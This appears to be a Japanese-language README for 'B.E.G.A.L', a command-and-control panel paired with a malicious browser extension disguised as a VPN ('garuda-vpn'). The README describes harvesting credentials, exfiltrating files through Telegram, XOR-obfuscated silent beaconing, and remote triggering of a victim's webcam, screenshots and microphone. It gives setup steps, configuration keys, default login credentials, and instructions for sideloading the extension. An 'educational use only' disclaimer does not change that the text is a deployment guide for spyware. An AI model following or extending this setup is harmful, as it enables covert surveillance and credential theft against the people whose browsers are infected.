
FlaskとSocket.IOによるコマンドアンドコントロールパネル。悪意のあるブラウザ拡張機能エージェントが認証情報を収集し、Telegram経由でファイルを外部送信し、Webカメラ、スクリーンショット、マイクの遠隔コマンドを発行します。
B.E.G.A.L (Backdoor Exfiltration Gateway for Advanced Looting) は、Python (Flask & Socket.IO) で構築されたインタラクティブなWebベースのコマンドアンドコントロール (C2) パネルです。このプラットフォームは、サイバーセキュリティ研究、レッドチーミングシミュレーション、および現代のマルウェア/ボットネットがデータを窃取し、標的 (ボット) をリモートで制御する仕組みを理解するための教育目的で特別に設計されています。
このプロジェクトは教育およびサイバーセキュリティ研究目的のみで作成されました。
違法行為、不正なシステム攻撃、データ窃取、その他のサイバー犯罪のためにこのツールを悪用することは厳しく禁止されています。作者、開発者、および貢献者は、このソフトウェアの使用から生じるいかなる損失、損害、または法的措置についても責任を負いません。
あなたは自身の行動に完全に責任を負います。 このツールを使用することにより、あなたは適用されるすべての法律を遵守することに同意するものとします:
config.yaml ファイルを通じて構成されるため、セキュリティが向上し、カスタマイズが容易になります。Trigger Webcam (標的のカメラにアクセス)Trigger Screenshot (標的のデスクトップ画面をキャプチャ)Trigger Mic (標的の音声を録音)/report) で要約されます。
config.yaml)B.E.G.A.Lの最新バージョンでは、設定システムがYAML構成ファイルを使用して動的になっています。このファイルが存在しない場合、システムは begal-fixed.py の初回実行時に自動的に (デフォルト値で) 生成します。
同じディレクトリに作成された config.yaml ファイルを開き、以下のパラメータを調整してください:
BOT_TOKEN: 'YOUR_BOT_TOKEN'
CHAT_ID: 'YOUR_CHAT_ID'
XOR_KEY: 'FLIPPER_SECURE_XOR_KEY_1337'
BCRYPT_PASSWORD_HASH: '$2a$12$VZnosb4amZbO1uQ4MniFhuFiqZVEmCF.3p1jXVoiXnG/3oztPLdxe'
BOT_TOKEN: TelegramボットのAPIトークン(@BotFather経由で作成します)。CHAT_ID: データ窃取トンネルとして使用されるTelegramチャンネル/グループのID。XOR_KEY: ボットとC2サーバー間のデータ送信を難読化するために使用される対称暗号鍵。この値がブラウザ拡張機能側の値と一致していることを確認してください。BCRYPT_PASSWORD_HASH: C2ログイン用のハッシュ(デフォルトパスワード: datalost1337)。DEFAULT USERNAME C2: flippergaruda-vpn)との統合B.E.G.A.Lは「エージェント」またはペイロードと連携して動作するように設計されています。このリポジトリでは、エージェントは**garuda-vpn**に偽装した不正なブラウザ拡張機能(アドオン)の形をとります。
統合の仕組み:
garuda-vpnフォルダには悪意のあるペイロード(例: background.js、content.js、manifest.json)が含まれています。この拡張機能は対象のブラウザにインストールする必要があります(例: Chrome/Edgeのパッケージ化されていない拡張機能を読み込むモード経由)。garuda-vpnエージェントが収集したデータはXOR_KEYで暗号化され、B.E.G.A.L C2のAPIエンドポイント(/api/v1/collectorなど)へサイレントに送信(ビーコニング)されます。garuda-vpn拡張機能に転送し、拡張機能が対象ブラウザ上でWebカメラAPIの実行を強制します。python3 begal-c2.py)。chrome://extensionsと入力します。デベロッパーモードを有効にします。garuda-vpnフォルダを選択します。pip install bcrypt Flask-SocketIO requests pyyaml
python3 begal-c2.py
datalost1337)